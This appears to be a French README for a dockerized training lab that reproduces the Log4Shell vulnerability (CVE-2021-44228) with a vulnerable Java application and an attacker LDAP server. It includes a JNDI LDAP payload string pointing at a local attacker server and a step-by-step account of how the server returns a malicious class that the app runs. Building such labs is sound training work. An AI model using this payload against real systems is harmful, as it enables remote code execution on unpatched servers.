Environnement de laboratoire pour la vulnérabilité CVE-2021-44228 (Log4Shell)

Introduction

Ce projet fournit un environnement dockerisé pour s'entraîner en toute sécurité et comprendre la vulnérabilité critique Log4j connue sous le nom de CVE-2021-44228 (Log4Shell).

Fonctionnalités clés

• Environnement de test dockerisé sécurisé
• Capacité de test de payload personnalisé
• Inclut le serveur LDAP de l'attaquant et l'application Java vulnérable

Pour commencer

docker compose up --build

Test de payload

1. Vous pouvez modifier le payload dans la section de test de /vulnerable/Makefile
2. Le payload par défaut utilise $${jndi:ldap://127.0.0.1:10000/}

Comment ça fonctionne

1. L'application Java vulnérable démarre
2. Le serveur LDAP de l'attaquant écoute sur le port 10000
3. L'application vulnérable s'exécute
4. Le payload Log4Shell est journalisé dans l'application vulnérable via la section de test du Makefile
5. L'application vulnérable tente une recherche JNDI LDAP
6. Le serveur LDAP renvoie une classe Java malveillante
7. L'application vulnérable charge et exécute cette classe